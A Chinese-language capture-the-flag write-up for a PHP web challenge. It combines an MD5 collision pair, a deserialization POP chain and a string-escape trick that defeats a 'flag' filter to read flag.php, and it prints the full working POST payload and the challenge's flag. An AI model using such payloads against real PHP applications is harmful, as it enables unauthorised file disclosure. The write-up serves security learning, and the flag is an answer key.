题目
看到require flag.php,并且有file_get_contents函数,可以通过它获取文件内容,所以关键是怎么调用file_get_contents函数得到flag.php中内容
===比较
因为进行了强制转换,所以只能用md5碰撞来解
用fastcoll_v1.0.0.5.exe生成两个内容不同,md5值相同的字符串
例如:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
php反序列化
出现unserialize函数,想到反序列化,因为出现_construct,_destruct,_toString等魔术方法,可构造pop链,User::_conostruct->Lost::_destruct->Reader::_toString,只需让$username或$password为Lost对象,Lost类中的变量b为Reader对象并让Reader类的$c=flag.php,即可调用file_get_contents函数得到flag.php内容,但是又出现了新的问题,首先我们只看
我们一般会这样写poc:
$username=new Lost();
$username->b=new Reader();
$username->b->c="flag.php";
$password="abc";#随便什么
$u=new User($username,$password);
echo serialize($u);
但是因为题中出现$u = new User($_POST['username'] ?? "admin" , $_POST['password'] ?? "admin");
我们传递的数据变成了字符串,所以以上方法行不通,那该怎么解决?
字符逃逸
我们在waf函数中可以看到str_replace('flag', '', $data),再看到unserialize(waf(serialize($u))),我们可以想到利用字符逃逸原理(http://【PHP反序列化漏洞学习】 https://www.bilibili.com/video/BV1R24y1r71C/?p=15&share_source=copy_web可以看B站的视频学习),构造出
payload
username=adminflagflagflagflagflagflagflag&password=admin";s:3:"add";O:4:"Lost":1:{s:1:"b";O:6:"Reader":1:{s:1:"c";s:8:"flag.php";}}}
但是由于flag字符串被过滤,因此我们需要用十六进制表达66\6c\61\67\2E\70\68\70(记得flag.php前面的s需要改成大写的S),再结合===比较,得到完整的payload
username=adminflagflagflagflagflagflagflag&password=admin";s:3:"add";O:4:"Lost":1:{s:1:"b";O:6:"Reader":1:{s:1:"c";S:8:"\66\6c\61\67\2E\70\68\70";}}}&a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
得到base64编码的flag
最后解码得flag{51ca8e40b5e43ac1e8b524fd8ed5ee64}
总结
刚做题的时候没有看出来是字符逃逸,可能是类似的题做得太少,还得多练练。。。